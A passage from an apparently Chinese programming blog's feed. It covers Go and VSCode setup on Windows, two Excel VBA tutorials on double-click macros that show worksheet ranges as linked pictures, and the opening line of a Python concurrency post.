<h1 id="Go"><a href="#Go" class="headerlink" title="Go"></a>Go</h1><h2 id="Go安装"><a href="#Go安装" class="headerlink" title="Go安装"></a>Go安装</h2><p>去<span class="exturl" data-url="aHR0cHM6Ly9nb2xhbmcub3JnLw==">Golang官网<i class="fa fa-external-link-alt"></i></span>下载对应版本的安装包，我这里是Windows操作系统，因此下载<span class="exturl" data-url="aHR0cHM6Ly9kbC5nb29nbGUuY29tL2dvL2dvMS4xMC4yLndpbmRvd3MtYW1kNjQubXNp">go1.10.2.windows-amd64.msi<i class="fa fa-external-link-alt"></i></span>。由于Golang官网需要科学上网，如果没有翻墙的软件，可以去<span class="exturl" data-url="aHR0cHM6Ly9zdHVkeWdvbGFuZy5jb20v">Go语言中文网<i class="fa fa-external-link-alt"></i></span>下载，<span class="exturl" data-url="aHR0cHM6Ly9zdHVkeWdvbGFuZy5jb20vZGw=">下载页面<i class="fa fa-external-link-alt"></i></span>。<br>安装过程直接Next过去即可。<br><img data-src="https://i.loli.net/2018/05/20/5b00da8e4989c.png" alt="go install.png"><br>安装完成之后，打开CMD输入go version查看go 版本信息。<br><img data-src="https://i.loli.net/2018/05/20/5b00dbbc39baf.png" alt="go version.png"></p>
<h2 id="Go环境配置"><a href="#Go环境配置" class="headerlink" title="Go环境配置"></a>Go环境配置</h2><p>Go安装完成之后，在CMD下输入go env查看go的环境变量。<br><img data-src="https://i.loli.net/2018/05/20/5b00dc06a590d.png" alt="go env.png"><br>有两个关键的变量：GOROOT、GOPATH。GOROOT为Go安装目录不需要进行修改，GOPATH为Go项目地址可以进行修改。在喜欢的地方建立一个Go项目目录。这里我在C盘根目录下建立一个文件夹，名称为GoWork。然后将其配置到系统环境变量中。<br><img data-src="https://i.loli.net/2018/05/20/5b00dc9760002.png" alt="sys env.png"><br>配置完成之后，重新打开一个CMD输入go env查看是否生效。<br><img data-src="https://i.loli.net/2018/05/20/5b00dcd52d8c5.png" alt="go path env.png"><br>到此Go的配置告一段落。</p>
<h1 id="VSCode"><a href="#VSCode" class="headerlink" title="VSCode"></a>VSCode</h1><h2 id="VSCode安装"><a href="#VSCode安装" class="headerlink" title="VSCode安装"></a>VSCode安装</h2><p>去<span class="exturl" data-url="aHR0cHM6Ly9jb2RlLnZpc3VhbHN0dWRpby5jb20v">Visual Studio Code官网<i class="fa fa-external-link-alt"></i></span>下载对应版本的安装包安装即可。安装过程直接Next过去即可。<br><img data-src="https://i.loli.net/2018/05/20/5b00dd3f6b8dd.png" alt="VSCode.png"><br>VSCode安装完成之后需要配置Git，可以查看这篇文章<a href="/archives/5c83b0d3.html" title="搭建博客">搭建博客</a>，这里就不展开了。<br><img data-src="https://i.loli.net/2018/05/20/5b00e068e3f6f.png" alt="vscode gui.png"></p>
<h2 id="VSCode环境配置"><a href="#VSCode环境配置" class="headerlink" title="VSCode环境配置"></a>VSCode环境配置</h2><h3 id="Go插件安装"><a href="#Go插件安装" class="headerlink" title="Go插件安装"></a>Go插件安装</h3><p>在VSCode商店里面安装对应Go插件。可以直接通过VSCode欢迎使用页面的自定义→工具和语言→更多进行跳转。<br><img data-src="https://i.loli.net/2018/05/20/5b00e09ab3585.png" alt="vscode go install.png"><br>安装完成之后打开Go项目文件夹，新建一个hello.go，打开hello.go，在右小角进行点击Install All安装所依赖的库（该步骤需要翻墙）。<br><img data-src="https://i.loli.net/2018/05/20/5b00e2ab752db.png" alt="vscode go install all.png"><br>安装完成之后，在工作目录下会多出一个bin子目录里面会放所需要的exe文件。如果翻不了墙，那么可以直接下载这个，放到Go项目文件夹下的bin目录即可。<br><code>链接：https://pan.baidu.com/s/19w01LlfY8iEsLm5gJmP5Lw 密码：umao</code></p>
<h2 id="Debug"><a href="#Debug" class="headerlink" title="Debug"></a>Debug</h2><p>完成以上操作之后，可以通过F5进行Debug。<br><img data-src="https://i.loli.net/2018/05/20/5b00e5add6cd9.png" alt="vscode go debug.png"></p>
<h1 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h1><p>在进行VSCode进行Go Debug时，遇到了几个需要注意点，在此记录一下供诸君参考：</p>
<ol>
<li>完成Go安装之后，需要进行GOPATH环境变量配置，便于项目目录查找；</li>
<li>完成VSCode安装之后，在VSCode的终端里面输入go命令查看VSCode是否能调用系统环境变量。如果在VSCode终端找不到go命令，在用户环境变量里面进行添加可以解决该问题。假设还解决不了，直接在终端进行path环境变量追加<code>set path=%path%;C:\go\bin</code>；</li>
<li>如果VSCode依赖的库安装失败，直接把src、bin、pkg目录都删除，然后重新安装。</li>
</ol>
<h1 id="Go代码"><a href="#Go代码" class="headerlink" title="Go代码"></a>Go代码</h1><figure class="highlight go"><table><tr><td class="code"><pre><span class="line"><span class="keyword">package</span> main</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> <span class="string">&quot;fmt&quot;</span></span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">func</span> <span class="title">main</span><span class="params">()</span></span> &#123;</span><br><span class="line">    fmt.Println(<span class="string">&quot;Hello, Hywell&quot;</span>)</span><br><span class="line">&#125;</span><br><span class="line"></span><br></pre></td></tr></table></figure>]]></content>
      <categories>
        <category>Code</category>
        <category>Golang</category>
      </categories>
      <tags>
        <tag>环境搭建</tag>
        <tag>Go</tag>
      </tags>
  </entry>
  <entry>
    <title>Excel-双击自动引用图片(二)</title>
    <url>/archives/9b0fde12.html</url>
    <content><![CDATA[<p>　在<a href="/archives/343e4570.html" title="Excel-双击自动引用图片(一)">Excel-双击自动引用图片(一)</a>中,已经成功实现双击调用同Worksheet的不同sheets的区域,并转换成图片显示.接下来开始进阶的内容了:调用不同Worksheet的不定sheets区域(后台显示)、图片命名等.最主要的是将代码以过程封装起来,便于调用.</p>
<h1 id="需求描述"><a href="#需求描述" class="headerlink" title="需求描述"></a>需求描述</h1><p>　本次需求包括:数据来源不同Worksheet、后台调用Worksheet、图片属性操作、封装调用.</p>
<h1 id="准备"><a href="#准备" class="headerlink" title="准备"></a>准备</h1><p>　由于需要将代码封装调用，所以要了解VBA中函数定义、过程调用。</p>
<h2 id="进阶知识"><a href="#进阶知识" class="headerlink" title="进阶知识"></a>进阶知识</h2><p>　VBA中有两种定义方式:Sub function.Sub是过程、Function是函数.两者区别在于Sub不能返回值、Function可以返回值；Sub可以直接执行、Function需要调用才能执行.由于需要直接执行,所以使用Sub.</p>
<figure class="highlight mathematica"><table><tr><td class="code"><pre><span class="line"><span class="variable">Sub</span> <span class="variable">testS</span><span class="punctuation">(</span><span class="variable">arg</span><span class="punctuation">)</span></span><br><span class="line">	<span class="variable">Msgbox</span> <span class="string">&quot;调用Sub,传递的参数为&quot;</span> <span class="operator">&amp;</span> <span class="variable">arg</span></span><br><span class="line">	<span class="built_in">If</span> <span class="variable">arg</span> <span class="operator">=</span> <span class="number">1</span> <span class="variable">Then</span></span><br><span class="line">		<span class="built_in">Exit</span> <span class="variable">Sub</span></span><br><span class="line">	<span class="built_in">End</span> <span class="built_in">If</span></span><br><span class="line">	<span class="variable">Msbox</span> <span class="string">&quot;结束&quot;</span></span><br><span class="line"><span class="built_in">End</span> <span class="variable">Sub</span></span><br><span class="line"></span><br><span class="line"><span class="built_in">Function</span> <span class="variable">testF</span><span class="punctuation">(</span><span class="variable">arg</span><span class="punctuation">)</span></span><br><span class="line">	<span class="variable">Msgbox</span> <span class="string">&quot;调用Function,传递的参数为&quot;</span> <span class="operator">&amp;</span> <span class="variable">arg</span></span><br><span class="line">	<span class="built_in">If</span> <span class="variable">arg</span> <span class="operator">=</span> <span class="number">1</span> <span class="variable">Then</span></span><br><span class="line">		<span class="built_in">Exit</span> <span class="built_in">Function</span></span><br><span class="line">	<span class="built_in">End</span> <span class="built_in">If</span></span><br><span class="line">	<span class="variable">Msbox</span> <span class="string">&quot;结束&quot;</span></span><br><span class="line"><span class="built_in">End</span> <span class="built_in">Function</span></span><br></pre></td></tr></table></figure>
<p>　VBA使用CreateObject来创建对象.</p>
<h1 id="编写思路"><a href="#编写思路" class="headerlink" title="编写思路"></a>编写思路</h1><p>　通过对需求的解读,可以将整体分为三块:1.工作Worksheet获取双击单元格值、2.根据单元格值获取对应数据区域、3.根据对应数据区域生成图片.三块每块对应一个过程:第一块创建对象、变量等，并获取单元格值，向第二块传递需要Worksheet对象和单元格值、第二块向第三块传递[Worksheet对象、sheets值、数据区域、高度].</p>
<h1 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h1><ol>
<li>对象在使用完之后,需要清空,要不然一直会在内存当中;</li>
<li>单元格包含某个值的时候,使用InStr(Range(“A1”), getValue).</li>
</ol>
<h1 id="完整代码"><a href="#完整代码" class="headerlink" title="完整代码"></a>完整代码</h1><figure class="highlight vbnet"><table><tr><td class="code"><pre><span class="line"><span class="keyword">Private</span> <span class="keyword">Sub</span> Worksheet_BeforeDoubleClick(<span class="keyword">ByVal</span> Target <span class="keyword">As</span> Range, Cancel <span class="keyword">As</span> <span class="type">Boolean</span>) <span class="comment">&#x27;定义双击事件</span></span><br><span class="line">    <span class="keyword">Dim</span> getExit <span class="keyword">As</span> <span class="type">Integer</span></span><br><span class="line">    getExit = <span class="number">0</span></span><br><span class="line">    Application.ScreenUpdating = <span class="literal">False</span> <span class="comment">&#x27;屏幕不更新</span></span><br><span class="line">    </span><br><span class="line">    <span class="keyword">For</span> <span class="keyword">Each</span> im <span class="keyword">In</span> ActiveSheet.Shapes <span class="comment">&#x27;删除名字为测试的图片</span></span><br><span class="line">        <span class="keyword">If</span> im.Name = <span class="string">&quot;测试&quot;</span> <span class="keyword">Then</span></span><br><span class="line">            im.Delete</span><br><span class="line">        <span class="keyword">End</span> <span class="keyword">If</span></span><br><span class="line">    <span class="keyword">Next</span></span><br><span class="line"></span><br><span class="line">    <span class="keyword">Dim</span> getValue <span class="keyword">As</span> <span class="type">String</span> <span class="comment">&#x27;单元格值</span></span><br><span class="line">    <span class="keyword">Dim</span> Work1 <span class="keyword">As</span> Workbook <span class="comment">&#x27;定义工作Excel变量</span></span><br><span class="line">    <span class="keyword">Dim</span> Work2 <span class="keyword">As</span> Workbook <span class="comment">&#x27;定义工作Excel变量</span></span><br><span class="line">    top = Target.top <span class="comment">&#x27; 获取当前活动单元格的高度</span></span><br><span class="line"></span><br><span class="line">    <span class="keyword">Set</span> Work1 = CreateObject(<span class="string">&quot;C:\Users\Hywell\Desktop\test.xlsx&quot;</span>) <span class="comment">&#x27;创建Worksheet对象</span></span><br><span class="line">    <span class="keyword">Set</span> Work2 = CreateObject(<span class="string">&quot;C:\Users\Hywell\Desktop\test2.xlsx&quot;</span>) <span class="comment">&#x27;创建Worksheet对象</span></span><br><span class="line"></span><br><span class="line">    Allsheets = Array(Work1, Work2) <span class="comment">&#x27;定义工作Excel数组</span></span><br><span class="line">    </span><br><span class="line">    getValue = Range(Target.Address) <span class="comment">&#x27;获取当前活动单元格地址的内容</span></span><br><span class="line">    <span class="keyword">If</span> Target.Column = <span class="number">6</span> <span class="keyword">Then</span> <span class="comment">&#x27;判断是否为F列</span></span><br><span class="line">        <span class="keyword">If</span> getValue = <span class="string">&quot;&quot;</span> <span class="keyword">Then</span></span><br><span class="line">            MsgBox <span class="string">&quot;数据为空!&quot;</span></span><br><span class="line">        <span class="keyword">Else</span></span><br><span class="line">            <span class="keyword">For</span> <span class="keyword">Each</span> i <span class="keyword">In</span> Allsheets <span class="comment">&#x27;遍历工作Excel数组</span></span><br><span class="line">                <span class="keyword">If</span> getExit = <span class="number">0</span> <span class="keyword">Then</span></span><br><span class="line">                    <span class="keyword">Call</span> getResult(i, getValue, getExit, top) <span class="comment">&#x27;调用getResult函数 获取所需数据区域</span></span><br><span class="line">                <span class="keyword">Else</span></span><br><span class="line">                    <span class="keyword">Exit</span> <span class="keyword">For</span></span><br><span class="line">                <span class="keyword">End</span> <span class="keyword">If</span></span><br><span class="line">            <span class="keyword">Next</span></span><br><span class="line">            <span class="keyword">If</span> getExit = <span class="number">0</span> <span class="keyword">Then</span></span><br><span class="line">                MsgBox <span class="string">&quot;找不到对应明细表!&quot;</span></span><br><span class="line">            <span class="keyword">End</span> <span class="keyword">If</span></span><br><span class="line">        <span class="keyword">End</span> <span class="keyword">If</span></span><br><span class="line">    <span class="keyword">End</span> <span class="keyword">If</span></span><br><span class="line">    </span><br><span class="line">    <span class="keyword">Set</span> Work1 = <span class="literal">Nothing</span> <span class="comment">&#x27;清空Work1对象</span></span><br><span class="line">    <span class="keyword">Set</span> Work2 = <span class="literal">Nothing</span> <span class="comment">&#x27;清空Work2对象</span></span><br><span class="line">    </span><br><span class="line"><span class="keyword">End</span> <span class="keyword">Sub</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">Sub</span> getResult(Worksheet, getValue, getExit, top) <span class="comment">&#x27;获取数据(getValue)区域</span></span><br><span class="line">    <span class="keyword">Dim</span> getInt <span class="keyword">As</span> <span class="type">Integer</span> <span class="comment">&#x27;开始行数</span></span><br><span class="line">    <span class="keyword">Dim</span> getInt2 <span class="keyword">As</span> <span class="type">Integer</span> <span class="comment">&#x27;最后行数</span></span><br><span class="line">    <span class="keyword">Dim</span> getNum <span class="keyword">As</span> <span class="type">Integer</span> <span class="comment">&#x27;用于退出Fox循环</span></span><br><span class="line">    <span class="keyword">Dim</span> getWork <span class="keyword">As</span> <span class="type">Integer</span> <span class="comment">&#x27;获取工作的sheet</span></span><br><span class="line">    <span class="keyword">Dim</span> Time <span class="keyword">As</span> <span class="type">String</span> <span class="comment">&#x27;定义定位标识符</span></span><br><span class="line">    </span><br><span class="line">    getInt = <span class="number">0</span> <span class="comment">&#x27;初始化</span></span><br><span class="line">    getInt2 = <span class="number">0</span> <span class="comment">&#x27;初始化</span></span><br><span class="line">    getNum = <span class="number">0</span> <span class="comment">&#x27;初始化</span></span><br><span class="line">    Time = <span class="string">&quot;日期&quot;</span> <span class="comment">&#x27;初始化</span></span><br><span class="line"></span><br><span class="line">    <span class="keyword">For</span> y = <span class="number">1</span> <span class="keyword">To</span> Worksheet.Sheets.Count <span class="comment">&#x27;遍历工作Excel中的Sheet的数量</span></span><br><span class="line">        <span class="keyword">For</span> i = <span class="number">1</span> <span class="keyword">To</span> Worksheet.Sheets(y).UsedRange.Rows.Count <span class="comment">&#x27;遍历sheet已经被使用单元格的行数</span></span><br><span class="line">            <span class="keyword">If</span> Worksheet.Sheets(y).Range(<span class="string">&quot;F&quot;</span> &amp; i) = getValue <span class="built_in">Or</span> InStr(Worksheet.Sheets(y).Range(<span class="string">&quot;I&quot;</span> &amp; i), getValue) <span class="keyword">Then</span> <span class="comment">&#x27;根据货号取得对应sheet的I列中第一次出现</span></span><br><span class="line">                getInt = i</span><br><span class="line">                getNum = getNum + <span class="number">1</span></span><br><span class="line">                <span class="keyword">Exit</span> <span class="keyword">For</span></span><br><span class="line">            <span class="keyword">End</span> <span class="keyword">If</span></span><br><span class="line">        <span class="keyword">Next</span></span><br><span class="line">    </span><br><span class="line">        <span class="keyword">If</span> getInt &lt;&gt; <span class="number">0</span> <span class="keyword">Then</span></span><br><span class="line">            <span class="keyword">For</span> i = getInt <span class="keyword">To</span> Worksheet.Sheets(y).UsedRange.Rows.Count <span class="comment">&#x27;从getInt遍历sheet2已经被使用单元格的行数</span></span><br><span class="line">                <span class="keyword">If</span> InStr(Worksheet.Sheets(y).Range(<span class="string">&quot;A&quot;</span> &amp; i), Time) <span class="keyword">Then</span></span><br><span class="line">                    getInt2 = i + <span class="number">1</span></span><br><span class="line">                    <span class="keyword">Exit</span> <span class="keyword">For</span></span><br><span class="line">                <span class="keyword">End</span> <span class="keyword">If</span></span><br><span class="line">            <span class="keyword">Next</span></span><br><span class="line">        <span class="keyword">End</span> <span class="keyword">If</span></span><br><span class="line"></span><br><span class="line">        <span class="keyword">If</span> getInt &lt;&gt; <span class="number">0</span> <span class="keyword">Then</span></span><br><span class="line">            getWork = y</span><br><span class="line">            <span class="keyword">Exit</span> <span class="keyword">For</span></span><br><span class="line">        <span class="keyword">Else</span></span><br><span class="line">            getWork = <span class="number">1</span></span><br><span class="line">        <span class="keyword">End</span> <span class="keyword">If</span></span><br><span class="line">    <span class="keyword">Next</span></span><br><span class="line"></span><br><span class="line">    <span class="keyword">If</span> getInt2 = <span class="number">0</span> <span class="keyword">Then</span></span><br><span class="line">        getInt2 = getInt</span><br><span class="line">    <span class="keyword">End</span> <span class="keyword">If</span></span><br><span class="line">    </span><br><span class="line">    <span class="keyword">If</span> getInt &lt;&gt; <span class="number">0</span> <span class="keyword">Then</span></span><br><span class="line">        <span class="keyword">Call</span> getImage(Worksheet, getWork, getInt, getInt2, top) <span class="comment">&#x27;调用getImage生成图片</span></span><br><span class="line">        getExit = getExit + <span class="number">1</span></span><br><span class="line">    <span class="keyword">End</span> <span class="keyword">If</span></span><br><span class="line">    </span><br><span class="line"><span class="keyword">End</span> <span class="keyword">Sub</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">Sub</span> getImage(Worksheet, getWork, getInt, getInt2, top)</span><br><span class="line">    Worksheet.Sheets(getWork).Range(<span class="string">&quot;A&quot;</span> &amp; getInt - <span class="number">2</span> &amp; <span class="string">&quot;:O&quot;</span> &amp; getInt2).Copy</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">With</span> ActiveSheet.Pictures.Paste(Link:=<span class="literal">True</span>) <span class="comment">&#x27;设置图片属性</span></span><br><span class="line">        .Left = <span class="number">1110</span></span><br><span class="line">        .top = top</span><br><span class="line">        .Name = <span class="string">&quot;测试&quot;</span></span><br><span class="line">    <span class="keyword">End</span> <span class="keyword">With</span></span><br><span class="line">    Application.CutCopyMode = <span class="literal">False</span></span><br><span class="line"><span class="keyword">End</span> <span class="keyword">Sub</span></span><br><span class="line"></span><br></pre></td></tr></table></figure>]]></content>
      <categories>
        <category>Code</category>
        <category>VBA</category>
      </categories>
      <tags>
        <tag>Code</tag>
        <tag>VBA</tag>
        <tag>Excel</tag>
      </tags>
  </entry>
  <entry>
    <title>Excel-双击自动引用图片(一)</title>
    <url>/archives/343e4570.html</url>
    <content><![CDATA[<p>　最近遇到一个朋友在使用Excel的时候遇到一个问题。朋友有难，岂能不帮？</p>
<span id="more"></span>
<h2 id="需求描述"><a href="#需求描述" class="headerlink" title="需求描述"></a>需求描述</h2><p>　在Excel的sheet1中有一组汇总表，其中包含了两组信息[表名、货号]。在对应表中，有详细信息[货号、型号、价格、数量]。当双击sheet1中的具体货号的单元格，将详细信息显示在sheet1中。效果图如下。<br><img data-src="https://i.loli.net/2017/08/26/59a0e631e08cf.png" alt="效果图.png"></p>
<h2 id="准备"><a href="#准备" class="headerlink" title="准备"></a>准备</h2><p>　由于涉及到自动引用，并且在Excel中没有找到对应的函数。所以，需要自己写VBA(Visual Basic For Applications)来实现。</p>
<h3 id="基础知识"><a href="#基础知识" class="headerlink" title="基础知识"></a>基础知识</h3><p>　对VBA也不甚了解，所以，需要基础扫盲一下。根据上述需求，可以得知我们需要编写的功能有：双击执行事情、获取单元格值、截图功能、筛选功能等。<br>　VBA提供了单击执行事情(Worksheet_SelectionChange)、双击执行事件(Worksheet_BeforeDoubleClick)、单元格内容改变执行事情(Worksheet_Change)等函数。可以通过Worksheet_BeforeDoubleClick来完成双击执行事件。</p>
<figure class="highlight vbnet"><table><tr><td class="code"><pre><span class="line"><span class="keyword">Private</span> <span class="keyword">Sub</span> Worksheet_BeforeDoubleClick(<span class="keyword">ByVal</span> Target <span class="keyword">As</span> Range, Cancel <span class="keyword">As</span> <span class="type">Boolean</span>)</span><br><span class="line">    MsgBox <span class="string">&quot;你进行了双击！&quot;</span></span><br><span class="line"><span class="keyword">End</span> <span class="keyword">Sub</span></span><br></pre></td></tr></table></figure>
<p>　VBA定义变量是通过Dim variable As Type(String、Integer等)进行定义的。本例定义了四个变量，用来存储信息。</p>
<figure class="highlight vbnet"><table><tr><td class="code"><pre><span class="line"><span class="keyword">Dim</span> getValue <span class="keyword">As</span> <span class="type">String</span> <span class="comment">&#x27;单元格值</span></span><br><span class="line"><span class="keyword">Dim</span> getInt <span class="keyword">As</span> <span class="type">Integer</span> <span class="comment">&#x27;第一次出现行数</span></span><br><span class="line"><span class="keyword">Dim</span> getInt2 <span class="keyword">As</span> <span class="type">Integer</span> <span class="comment">&#x27;最后出现行数</span></span><br><span class="line"><span class="keyword">Dim</span> getNum <span class="keyword">As</span> <span class="type">Integer</span></span><br></pre></td></tr></table></figure>
<p>　VBA中的For循环，需要与Next成对出现。退出For的话用exit for<br><img data-src="https://i.loli.net/2017/08/26/59a0ecf7332b1.jpg" alt="for循环.jpg"></p>
<figure class="highlight awk"><table><tr><td class="code"><pre><span class="line">For i=<span class="number">1</span> To <span class="number">10</span> Then</span><br><span class="line">    MsgBox i</span><br><span class="line">    <span class="keyword">exit</span> <span class="keyword">for</span></span><br><span class="line">Next</span><br></pre></td></tr></table></figure>
<p>　VBA中的If语句，需要与Then、End If成对出现。</p>
<figure class="highlight mathematica"><table><tr><td class="code"><pre><span class="line"><span class="built_in">If</span> <span class="variable">i</span> <span class="operator">=</span> <span class="number">10</span> <span class="variable">Then</span></span><br><span class="line">    <span class="variable">MsgBox</span> <span class="variable">i</span></span><br><span class="line"><span class="built_in">End</span> <span class="built_in">If</span></span><br></pre></td></tr></table></figure>
<p>　VBA中的图片删除、生成等操作。这里图片生成是指对应区域单元格的链接图片。</p>
<figure class="highlight mathematica"><table><tr><td class="code"><pre><span class="line"><span class="built_in">For</span> <span class="variable">Each</span> <span class="variable">im</span> <span class="built_in">In</span> <span class="variable">ActiveSheet</span><span class="operator">.</span><span class="variable">Shapes</span></span><br><span class="line">    <span class="variable">ActiveSheet</span><span class="operator">.</span><span class="variable">Shapes</span><span class="operator">.</span><span class="built_in">Delete</span></span><br><span class="line"><span class="built_in">Next</span></span><br><span class="line"><span class="variable">Sheet2</span><span class="operator">.</span><span class="built_in">Range</span><span class="punctuation">(</span><span class="string">&quot;A1:D1&quot;</span><span class="punctuation">)</span><span class="operator">.</span><span class="variable">Copy</span></span><br><span class="line"><span class="variable">ActiveSheet</span><span class="operator">.</span><span class="variable">Pictures</span><span class="operator">.</span><span class="built_in">Paste</span><span class="punctuation">(</span><span class="variable">Link</span><span class="operator">:=</span><span class="built_in">True</span><span class="punctuation">)</span><span class="operator">.</span><span class="built_in">Select</span></span><br><span class="line"><span class="variable">Application</span><span class="operator">.</span><span class="variable">CutCopyMode</span> <span class="operator">=</span> <span class="built_in">False</span></span><br></pre></td></tr></table></figure>
<p>　VBA中获取单元格信息，用target即可。</p>
<figure class="highlight stylus"><table><tr><td class="code"><pre><span class="line">Target<span class="selector-class">.Address</span> `目标但单元格的地址</span><br><span class="line">Target<span class="selector-class">.Column</span> `目标单元格的列</span><br><span class="line"><span class="function"><span class="title">Range</span><span class="params">(Target.Address)</span></span> `目标单元格的值</span><br></pre></td></tr></table></figure>
<p>　VBA中的运算符号，等于、大于等于、小于等于、不等于分别问&#x3D;、&gt;&#x3D;、&lt;&#x3D;、&lt;&gt;。</p>
<h2 id="编写思路"><a href="#编写思路" class="headerlink" title="编写思路"></a>编写思路</h2><p>　通过相应的基础扫盲，现在已经具备了一定的VBA编程的基础。通过对需求的解读，整理一下思路即可。<br>　首先定义双击事件，获取活动单元格的值，赋值给对应参数getValue。获取另一张表格已被使用的单元格行数，通过For循环遍历某列所有行，用于匹配getValue。第一次匹配成功为数据开始行，最后一次匹配成功为数据结束行。通过获取的行数，结合需要使用的列，获取需要的单元格区域。将此单元格区域通过图片生成的方式，显示在页面上。</p>
<h2 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h2><ol>
<li>VBA格式格式严谨，if、then、end if for、next with、end with都成对出现;</li>
<li>VBA处理思路需要按照无到有的思路，如果已经执行过copy，需要先清空，才能再次执行;</li>
<li>图片生成之后，需要定义出现的位置。不定义出现位置，导致图片直接顶格出现;</li>
<li>该例子在图片生成之前会清空所有图片，不清空，每次双击对应单元格就会生成一张图片;</li>
<li>一开始准备用自定义函数来编写，后面发现本身集成了需要对应的函数(单机事情、双击事情)，因此，对一门语言了解其自带的函数很重要。</li>
</ol>
<h2 id="完整代码"><a href="#完整代码" class="headerlink" title="完整代码"></a>完整代码</h2><figure class="highlight vbnet"><table><tr><td class="code"><pre><span class="line"><span class="keyword">Private</span> <span class="keyword">Sub</span> Worksheet_BeforeDoubleClick(<span class="keyword">ByVal</span> Target <span class="keyword">As</span> Range, Cancel <span class="keyword">As</span> <span class="type">Boolean</span>) <span class="comment">&#x27;sheet1双击事情</span></span><br><span class="line">    <span class="keyword">For</span> <span class="keyword">Each</span> im <span class="keyword">In</span> ActiveSheet.Shapes <span class="comment">&#x27;删除所有图片</span></span><br><span class="line">        im.Delete</span><br><span class="line">    <span class="keyword">Next</span></span><br><span class="line">    </span><br><span class="line">    <span class="keyword">Dim</span> getValue <span class="keyword">As</span> <span class="type">String</span> <span class="comment">&#x27;单元格值</span></span><br><span class="line">    <span class="keyword">Dim</span> getInt <span class="keyword">As</span> <span class="type">Integer</span> <span class="comment">&#x27;第一次出现行数</span></span><br><span class="line">    <span class="keyword">Dim</span> getInt2 <span class="keyword">As</span> <span class="type">Integer</span> <span class="comment">&#x27;最后出现行数</span></span><br><span class="line">    <span class="keyword">Dim</span> getNum <span class="keyword">As</span> <span class="type">Integer</span> <span class="comment">&#x27;用于判断是否是第一次</span></span><br><span class="line">    </span><br><span class="line">    </span><br><span class="line">    getInt = <span class="number">0</span> <span class="comment">&#x27;初始化</span></span><br><span class="line">    getInt2 = <span class="number">0</span> <span class="comment">&#x27;初始化</span></span><br><span class="line">    getNum = <span class="number">0</span> <span class="comment">&#x27;初始化</span></span><br><span class="line">    </span><br><span class="line"></span><br><span class="line">    getValue = Range(Target.Address) <span class="comment">&#x27;获取当前活动单元格地址</span></span><br><span class="line">    <span class="keyword">If</span> Target.Column = <span class="number">1</span> <span class="keyword">Then</span> <span class="comment">&#x27;判断是否为sheet1中的A列</span></span><br><span class="line">        <span class="keyword">For</span> i = <span class="number">1</span> <span class="keyword">To</span> Sheet2.UsedRange.Rows.Count <span class="comment">&#x27;遍历sheet2已经被使用单元格的行数</span></span><br><span class="line">            <span class="keyword">If</span> Sheet2.Range(<span class="string">&quot;A&quot;</span> &amp; i) = getValue <span class="keyword">Then</span> <span class="comment">&#x27;取得sheet2的A列中第一次出现、最后一次出现的行数</span></span><br><span class="line">                <span class="keyword">If</span> getNum = <span class="number">0</span> <span class="keyword">Then</span></span><br><span class="line">                    getInt = i</span><br><span class="line">                <span class="keyword">Else</span></span><br><span class="line">                    getInt2 = i</span><br><span class="line">                <span class="keyword">End</span> <span class="keyword">If</span></span><br><span class="line">                getNum = getNum + <span class="number">1</span></span><br><span class="line">            <span class="keyword">End</span> <span class="keyword">If</span></span><br><span class="line">        <span class="keyword">Next</span></span><br><span class="line">    <span class="keyword">End</span> <span class="keyword">If</span></span><br><span class="line">    </span><br><span class="line">    <span class="keyword">If</span> getInt2 = <span class="number">0</span> <span class="keyword">Then</span></span><br><span class="line">        getInt2 = getInt</span><br><span class="line">    <span class="keyword">End</span> <span class="keyword">If</span></span><br><span class="line">    </span><br><span class="line">    <span class="comment">&#x27;遍历获取所有单元格</span></span><br><span class="line">    <span class="keyword">If</span> getInt &lt;&gt; <span class="number">0</span> <span class="keyword">Then</span></span><br><span class="line">        Sheet2.Range(<span class="string">&quot;A&quot;</span> &amp; getInt - <span class="number">2</span> &amp; <span class="string">&quot;:D&quot;</span> &amp; getInt2).Copy</span><br><span class="line">        ActiveSheet.Pictures.Paste(Link:=<span class="literal">True</span>).<span class="keyword">Select</span></span><br><span class="line">        <span class="keyword">With</span> ActiveSheet.Pictures</span><br><span class="line">            .Left = <span class="number">400</span></span><br><span class="line">            .Top = <span class="number">0</span></span><br><span class="line">        <span class="keyword">End</span> <span class="keyword">With</span></span><br><span class="line">        Application.CutCopyMode = <span class="literal">False</span></span><br><span class="line">    <span class="keyword">Else</span></span><br><span class="line">        Sheet2.Range(<span class="string">&quot;A1:D2&quot;</span>).Copy</span><br><span class="line">        ActiveSheet.Pictures.Paste(Link:=<span class="literal">True</span>).<span class="keyword">Select</span></span><br><span class="line">        <span class="keyword">With</span> ActiveSheet.Pictures</span><br><span class="line">            .Left = <span class="number">400</span></span><br><span class="line">            .Top = <span class="number">0</span></span><br><span class="line">        <span class="keyword">End</span> <span class="keyword">With</span></span><br><span class="line">        Application.CutCopyMode = <span class="literal">False</span></span><br><span class="line">    <span class="keyword">End</span> <span class="keyword">If</span></span><br><span class="line"><span class="keyword">End</span> <span class="keyword">Sub</span></span><br><span class="line"></span><br></pre></td></tr></table></figure>]]></content>
      <categories>
        <category>Code</category>
        <category>VBA</category>
      </categories>
      <tags>
        <tag>Code</tag>
        <tag>VBA</tag>
        <tag>Excel</tag>
      </tags>
  </entry>
  <entry>
    <title>Python多线程&amp;&amp;多进程&amp;&amp;协程</title>
    <url>/archives/f4423a86.html</url>
    <content><![CDATA[<p>针对Python的多线程、多进程、协程等进行学习。</p>
<span id="more"></span>

